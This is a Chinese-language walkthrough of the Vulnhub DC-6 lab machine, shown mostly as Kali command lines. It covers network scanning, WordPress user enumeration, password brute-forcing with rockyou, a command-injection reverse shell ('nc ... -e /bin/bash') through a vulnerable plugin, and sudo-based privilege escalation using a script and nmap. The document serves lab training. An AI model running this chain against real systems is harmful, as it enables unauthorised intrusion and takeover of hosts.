Vulnhub-DC6靶机渗透

• 环境搭建
• 渗透测试

1. 靶机镜像下载地址：https://vulnhub.com/entry/dc-6,315/
2. 需要将靶机和 kali 攻击机放在同一个局域网里；
3. 本实验kali 的 IP 地址：192.168.10.146。

┌──(root💀kali)-[~/桌面]└─# nmap -sP 192.168.10.0/24

┌──(root💀kali)-[~/桌面]└─# nmap -sS 192.168.10.151

┌──(root💀kali)-[~/桌面]└─# nmap -sV -p 22,80 192.168.10.151

┌──(root💀kali)-[~/桌面]└─# vim /etc/hosts192.168.10.151 wordy

┌──(root💀kali)-[~/桌面]└─# whatwebhttp://192.168.10.151

┌──(root💀kali)-[~/桌面]└─# dirb http://wordy/

┌──(root💀kali)-[~/桌面]└─# wpscan --url http://wordy/ -e  // -e 枚举

┌──(root💀kali)-[~/桌面]└─# wpscan --url http://wordy/ -e  // -e 枚举

admingrahamsarahmarkjens

┌──(root💀kali)-[~/桌面]└─# vim wordy_user.txt

┌──(root💀kali)-[~/桌面]└─# gzip -dk /usr/share/wordlists/rockyou.txt.gz┌──(root💀kali)-[~/桌面]└─# ls /usr/share/wordlists/rockyou.txt   /usr/share/wordlists/rockyou.txt

┌──(root💀kali)-[~/桌面]└─# wpscan --url http://wordy/ -U wordy_user.txt -P /usr/share/wordlists/rockyou.txt

┌──(root💀kali)-[~/桌面]└─# cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt┌──(root💀kali)-[~/桌面]└─# wpscan --url http://wordy/ -U wordy_user.txt -P passwords.txt --max-threads 100

127.0.0.1 | nc 192.168.10.146 4444 -e /bin/bash

msf6 > search activity monitor

graham@dc-6:~$ echo"/bin/bash" > /home/jens/backups.shgraham@dc-6:~$ sudo -u jens /home/jens/backups.shjens@dc-6:/home/graham$

jens@dc-6:/home/graham$cd~jens@dc-6:~$echo"os.execute('/bin/bash')">shelljens@dc-6:~$sudonmap--script=shell

🔗Reference：DC-6

• https://zhuanlan.zhihu.com/p/534321293
• https://blog.csdn.net/qq_38612882/article/details/122648462
• https://blog.csdn.net/kengkeng123qwe/article/details/124869038